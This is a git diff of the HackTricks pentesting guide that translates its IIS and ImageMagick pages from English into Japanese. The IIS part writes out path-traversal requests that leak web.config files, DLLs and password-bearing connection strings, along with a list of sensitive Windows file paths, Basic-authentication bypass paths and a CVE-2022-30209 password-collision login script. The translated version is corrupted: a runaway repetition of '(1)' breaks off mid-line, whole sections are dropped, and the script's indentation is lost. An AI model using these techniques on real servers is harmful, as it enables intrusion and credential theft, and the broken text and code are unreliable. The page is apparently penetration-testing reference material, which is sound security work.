group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)**に PR を提出してください。
diff --git a/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/network-services-pentesting/pentesting-web/iis-internet-information-services.md index d67adbf1c..a8e281fc5 100644 --- a/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -1,37 +1,34 @@ -# IIS - Internet Information Services +# IIS - インターネット情報サービス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-Test executable file extensions: +テスト実行可能なファイルの拡張子: * asp * aspx * config * php -## Internal IP Address disclosure - -On any IIS server where you get a 302 you can try stripping the Host header and using HTTP/1.0 and inside the response the Location header could point you to the internal IP address: +## 内部IPアドレスの漏洩 +IISサーバーのいずれかで302を取得した場合、Hostヘッダーを削除し、HTTP/1.0を使用してみることができます。レスポンスのLocationヘッダーには内部IPアドレスが示されている可能性があります。 ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 ``` - -Response disclosing the internal IP: - +レスポンスは、内部IPを開示しています。 ``` -GET / HTTP/1.0 +GET / HTTP/1.0 HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache @@ -40,20 +37,19 @@ Location: https://192.168.5.237/owa/ Server: Microsoft-IIS/10.0 X-FEServer: NHEXCHANGE2016 ``` +## .configファイルの実行 -## Execute .config files +.configファイルをアップロードして、それらを使用してコードを実行することができます。その方法の一つは、HTMLコメント内にコードをファイルの末尾に追加することです:[ここから例をダウンロード](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) -You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) +この脆弱性を悪用するための詳細な情報とテクニックは[こちら](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)を参照してください。 -More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) +## IISディスカバリーブルートフォース -## IIS Discovery Bruteforce - -Download the list that I have created: +私が作成したリストをダウンロードしてください: {% file src="../../.gitbook/assets/iisfinal.txt" %} -It was created merging the contents of the following lists: +このリストは、以下のリストの内容を結合して作成されました: [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ @@ -62,21 +58,20 @@ It was created merging the contents of the following lists: [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) -Use it without adding any extension, the files that need it have it already. +拡張子を追加せずに使用してください。必要な拡張子はすでに含まれています。 -## Path Traversal +## パストラバーサル -### Leaking source code +### ソースコードの漏洩 {% hint style="info" %} -As summary, there are several web.config files inside the folders of the application with references to "**assemblyIdentity**" files and "**namespaces**". With this information it's possible to know **where are executables located** and download them.\ -From the **downloaded Dlls** it's also possible to find **new namespaces** where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.\ -Also, the files **connectionstrings.config** and **global.asax** may contain interesting information.\ -Reference: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) +要約すると、アプリケーションのフォルダ内には、"**assemblyIdentity**"ファイルと"**namespaces**"への参照が含まれる複数のweb.configファイルがあります。この情報を使用して、**実行可能ファイルの場所**を特定し、ダウンロードすることができます。\ +ダウンロードしたDllからは、新しい**namespaces**を見つけることも可能であり、これらにアクセスしてweb.configファイルを取得し、新しいnamespacesとassemblyIdentityを見つける必要があります。\ +また、**connectionstrings.config**ファイルと**global.asax**ファイルには興味深い情報が含まれている場合があります。\ +参考:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) {% endhint %} -As any .Net application, MVC applications have a **web.config** file, where "**assemblyIdentity**" XML tags identifies every binary file the application uses. - +任意の.Netアプリケーションと同様に、MVCアプリケーションには**web.config**ファイルがあり、その中の"**assemblyIdentity**" XMLタグがアプリケーションが使用するすべてのバイナリファイルを識別します。 ```markup GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded @@ -86,92 +81,86 @@ HTTP/1.1 200 OK [...] - -
- - - - - - - + +
+ + + + + + + - - - + + + - - - + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ``` +以前の出力では、いくつかの "**assemblyIdentity**" への参照があります。これらは、/bin フォルダ内に配置されている可能性のあるファイルです。例えば: **/bin/WebGrease.dll**。 -In the previous output you can references to several "**assemblyIdentity**". These are files that may be located inside the /bin folder. For example: **/bin/WebGrease.dll.** - -Other files that could be found in the root directory of a .Net application are **/global.asax** - +.Net アプリケーションのルートディレクトリには、他にも **/global.asax** というファイルが見つかる場合があります。 ```markup <%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %> ``` +そして **/connectionstrings.config** -And **/connectionstrings.config** - -**Note: this file contains passwords!** - +**注意: このファイルにはパスワードが含まれています!** ```markup - + ``` +**ネームスペース** -**Namespaces** - -In addition, .Net MVC applications are structured to define **other web.config files**, having the aim to include any declaration for specific namespaces for each set of viewpages, relieving developers to declare “@using” namespaces in every file. - +さらに、.Net MVCアプリケーションは、特定のビューページのセットごとに名前空間の宣言を含むための**他のweb.configファイル**を定義するように構成されています。これにより、開発者は各ファイルで「@using」名前空間を宣言する手間を省くことができます。 ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded @@ -181,33 +170,30 @@ HTTP/1.1 200 OK [...] - - -
-
- - + + +
+
+ + - - - - - - - + + + + + + + ``` +**DLLのダウンロード** -**Downloading DLLs** - -From a very previous response, the declaration of a **custom namespace** (since other namespaces are defaults) suggests that a DLL called "**WebApplication1**" is present in the /bin directory. - +非常に前の応答から、**カスタム名前空間**の宣言(他の名前空間はデフォルト)から、**WebApplication1**という名前のDLLが/binディレクトリに存在していることが示唆されています。 ``` GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded [...] ``` - -From the previous output, inside the /bin directory you will also be able to find the Dlls +前の出力から、/binディレクトリの中にも次のDllファイルが見つかるでしょう。 * System.Web.Mvc.dll * System.Web.Mvc.Ajax.dll @@ -215,8 +201,7 @@ From the previous output, inside the /bin directory you will also be able to fin * System.Web.Optimization.dll * System.Web.Routing.dll -Let's suppose that the previous DLL is importing a namespace called **WebApplication1.Areas.Minded.** an attacker can infer that other web.config files are present in the application, in guessable/default paths as **/area-name/Views/**, containing specific configurations that may refer to other DLL files present in the /bin folder. - +前のDLLが**WebApplication1.Areas.Minded**という名前空間をインポートしていると仮定しましょう。攻撃者は、アプリケーション内に他のweb.configファイルが存在し、**/area-name/Views/**のような推測可能な/デフォルトのパスに特定の設定が含まれている可能性があることを推測することができます。これらの設定は、/binフォルダに存在する他のDLLファイルを参照するかもしれません。 ```markup GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1 Host: example-mvc-application.minded @@ -227,30 +212,28 @@ HTTP/1.1 200 OK - -
-
- + +
+
+ - - - - - - - + + + + + + + ``` +前の出力で、新しい名前空間 **WebApplication1.AdditionalFeatures** が表示されていることに注目してください。これは、/binフォルダに **WebApplication1.AdditionalFeatures.dll** という別のDllがあることを示しています。 -Note how in the previous output you can see a new namespace called: **WebApplication1.AdditionalFeatures** which indicates that there is another Dll in the /bin folder called **WebApplication1.AdditionalFeatures.dll** - -### Common files - -From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) +### 一般的なファイル +[ここ](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)から ``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log @@ -314,7 +297,7 @@ C:\Windows\System32\drivers\etc\hosts C:\Windows\System32\winevt\Logs\Application.evtx C:\Windows\System32\winevt\Logs\Security.evtx C:\Windows\System32\winevt\Logs\System.evtx -C:\Windows\win.ini +C:\Windows\win.ini C:\xampp\apache\conf\extra\httpd-xampp.conf C:\xampp\apache\conf\httpd.conf C:\xampp\apache\logs\access.log @@ -327,73 +310,19 @@ C:\xampp\security\webdav.htpasswd C:\xampp\sendmail\sendmail.ini C:\xampp\tomcat\conf\server.xml ``` +## HTTPAPI 2.0 404エラー -## HTTPAPI 2.0 404 Error - -If you see an error like the following one: - -![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>) - -It means that the server **didn't receive the correct domain name** inside the Host header.\ -In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one. - -## Old IIS vulnerabilities worth looking for - -### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure - -You can try to **enumerate folders and files** inside every discovered folder (even if it's requiring Basic Authentication) using this **technique**.\ -The main limitation of this technique if the server is vulnerable is that **it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension** of the files. - -You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` - -![](<../../.gitbook/assets/image (183).png>) - -Original research: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf) - -You can also use **metasploit**: `use scanner/http/iis_shortname_scanner` - -### Basic Authentication bypass - -**Bypass** a Baisc authentication (**IIS 7.5**) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php` - -You can try to **mix** this **vulnerability** and the last one to find new **folders** and **bypass** the authentication. - -## ASP.NET Trace.AXD enabled debugging - -ASP.NET include a debugging mode and its file is called `trace.axd`. - -It keeps a very detailed log of all requests made to an application over a period of time. - -This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords. - -[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) - -![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png) - -## ASPXAUTH Cookie - -ASPXAUTH uses the following info: - -* **`validationKey`** (string): hex-encoded key to use for signature validation. -* **`decryptionMethod`** (string): (default “AES”). -* **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros). -* **`decryptionKey`** (string): hex-encoded key to use for decryption. - -However, some people will use the **default values** of these parameters and will use as **cookie the email of the user**. Therefore, if you can find a web using the **same platform** that is using the ASPXAUTH cookie and you **create a user with the email of the user you want to impersonate** on the server under attack, you may be able to us**e the cookie from the second server in the first one** and impersonate the user.\ -This attacked worked in this [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). - -## IIS Authentication Bypass with cached passwords (CVE-2022-30209) - -A bug in the code **didn't properly check for the password given by the user**, so an attacker whose **password hash hits a key** that is already in the **cache** will be able to login as that user ([full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)). +次のようなエラーが表示される場合: +![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) ( ```python # script for sanity check > type test.py def HashString(password): - j = 0 - for c in map(ord, password): - j = c + (101*j)&0xffffffff - return j +j = 0 +for c in map(ord, password): +j = c + (101*j)&0xffffffff +return j assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT') @@ -405,15 +334,14 @@ HTTP/1.1 401 Unauthorized > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 200 OK ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/pentesting-web/imagemagick-security.md b/network-services-pentesting/pentesting-web/imagemagick-security.md index 5f30c1c70..2ba476751 100644 --- a/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -1,83 +1,76 @@ -# ImageMagick Security +# ImageMagickセキュリティ
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-**This post was copied from** [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)**** +**この投稿は** [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) **からコピーされました。** -During our audits we occasionally stumble across [ImageMagick](https://imagemagick.org/) security policy configuration files (`policy.xml`), useful for limiting the default behavior and the resources consumed by the library. In the wild, these files often contain a plethora of recommendations cargo cultured from around the internet. This normally happens for two reasons: +監査中に、[ImageMagick](https://imagemagick.org/)のセキュリティポリシー設定ファイル(`policy.xml`)に偶然出くわすことがあります。これは、ライブラリが消費するリソースとデフォルトの動作を制限するのに役立ちます。実際には、これらのファイルには、インターネット上からカーゴカルチャーされた多くの推奨事項が含まれていることがよくあります。これは通常、次の2つの理由によるものです。 -* Its options are only generally described on the online documentation page of the library, with no clear breakdown of what each security directive allowed by the policy is regulating. While the architectural complexity and the granularity of options definable by the policy are the major obstacles for a newbie, the corresponding knowledge base could be more welcoming. By default, ImageMagick comes with an unrestricted policy that must be tuned by the developers depending on their use. According to the docs, _“this affords maximum utility for ImageMagick installations that run in a sandboxed environment, perhaps in a Docker instance, or behind a firewall where security risks are greatly diminished as compared to a public website.”_ A secure strict policy is also made available, however [as noted in the past](https://www.synacktiv.com/en/publications/playing-with-imagetragick-like-its-2016.html) not always is well configured. -* ImageMagick [supports over 100 major file formats](https://imagemagick.org/script/formats.php#supported) (not including sub-formats) types of image formats. The infamous vulnerabilities affecting the library over the years produced a number of urgent security fixes and workarounds involving the addition of policy items excluding the affected formats and features (ImageTragick in [2016](https://imagetragick.com/), [@taviso](https://twitter.com/taviso)’s RCE via GhostScript in [2018](https://seclists.org/oss-sec/2018/q3/142), [@insertScript](https://twitter.com/insertScript)’s shell injection via PDF password in [2020](https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html), [@alexisdanizan](https://twitter.com/alexisdanizan)’s in [2021](https://www.synacktiv.com/en/publications/playing-with-imagetragick-like-its-2016.html)). +* オンラインドキュメントページでは、ポリシーによって許可される各セキュリティディレクティブが何を制御しているのかが明確に示されておらず、オプションは一般的に説明されています。ポリシーで定義可能なオプションの複雑さと細かさが初心者の主な障害ですが、対応する知識ベースはもっと使いやすくなる可能性があります。ImageMagickはデフォルトで制限のないポリシーを持っており、開発者は使用に応じて調整する必要があります。ドキュメントによると、「これにより、Dockerインスタンスやファイアウォールの背後など、セキュリティリスクが公開ウェブサイトと比較して大幅に低減された環境で実行されるImageMagickインストールに最大の有用性が提供されます」とのことです。セキュリティの厳しいポリシーも提供されていますが、[過去に指摘されたように](https://www.synacktiv.com/en/publications/playing-with-imagetragick-like-its-2016.html)、常に適切に設定されているわけではありません。 +* ImageMagickは[100以上の主要なファイル形式](https://imagemagick.org/script/formats.php#supported)(サブフォーマットを含まない)の画像形式をサポートしています。これまでのライブラリに影響を与えた悪名高い脆弱性により、対応策として影響を受ける形式と機能を除外するポリシーアイテムの追加が行われました([2016年のImageTragick](https://imagetragick.com/)、[2018年の@tavisoのGhostScriptによるRCE](https://seclists.org/oss-sec/2018/q3/142)、[2020年の@insertScriptのPDFパスワードによるシェルインジェクション](https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html)、[2021年の@alexisdanizan](https://twitter.com/alexisdanizan)のもの)。 -### Towards safer policies +### より安全なポリシーへ -With this in mind, we 